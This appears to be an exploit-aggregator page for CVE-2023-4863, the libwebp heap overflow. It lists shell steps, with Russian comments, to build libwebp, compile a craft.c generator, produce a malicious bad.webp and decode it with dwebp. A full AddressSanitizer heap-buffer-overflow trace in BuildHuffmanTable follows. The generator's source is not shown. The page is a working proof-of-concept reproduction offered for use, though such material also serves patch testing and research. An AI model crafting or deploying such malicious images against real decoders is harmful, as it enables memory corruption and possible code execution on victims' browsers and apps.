## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HUIWEN-YAYAYA-CVE-2023-4863
# уровень 1: craft.c -> bad.webp
root@kitploit:~
# существует: docker 813b6b757038 /webp
cd CVE-2023-4863
make -f makefile.unix -B
# фатальная ошибка: jpeglib.h: No such file or directory
apt-get update
apt-get install libjpeg-dev
# фатальная ошибка: png.h: No such file or directory
apt-get install libpng-dev
# фатальная ошибка: tiffio.h: No such file or directory
apt-get install libtiff-dev
# попробуйте снова
make -f makefile.unix -B
cd examples
gcc -o craft craft.c
./craft bad.webp
./dwebp bad.webp -o test.png
# результат:
=================================================================
==983==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x626000002f28 at pc 0x555c7a907cba bp 0x7ffe40ab5ed0 sp 0x7ffe40ab5ec0
WRITE of size 1 at 0x626000002f28 thread T0
#0 0x555c7a907cb9 in BuildHuffmanTable (/webp_test1/examples/dwebp+0xa1cb9)
#1 0x555c7a908047 in VP8LBuildHuffmanTable (/webp_test1/examples/dwebp+0xa2047)
#2 0x555c7a89cfd7 in ReadHuffmanCode (/webp_test1/examples/dwebp+0x36fd7)
#3 0x555c7a8a1a39 in DecodeImageStream (/webp_test1/examples/dwebp+0x3ba39)
#4 0x555c7a8a58be in VP8LDecodeHeader (/webp_test1/examples/dwebp+0x3f8be)
#5 0x555c7a8a775b in DecodeInto (/webp_test1/examples/dwebp+0x4175b)
#6 0x555c7a8aa517 in WebPDecode (/webp_test1/examples/dwebp+0x44517)
#7 0x555c7a875ef1 in main (/webp_test1/examples/dwebp+0xfef1)
#8 0x7f40a58afd8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
#9 0x7f40a58afe3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f)
#10 0x555c7a877ee4 in _start (/webp_test1/examples/dwebp+0x11ee4)
0x626000002f28 is located 0 bytes to the right of 11816-byte region [0x626000000100,0x626000002f28)
allocated by thread T0 here:
#0 0x7f40a5ca1887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x555c7a8a1868 in DecodeImageStream (/webp_test1/examples/dwebp+0x3b868)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/webp_test1/examples/dwebp+0xa1cb9) in BuildHuffmanTable
Shadow bytes around the buggy address:
0x0c4c7fff8590: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4c7fff85a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4c7fff85b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4c7fff85c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c4c7fff85d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4c7fff85e0: 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff85f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c4c7fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==983==ABORTING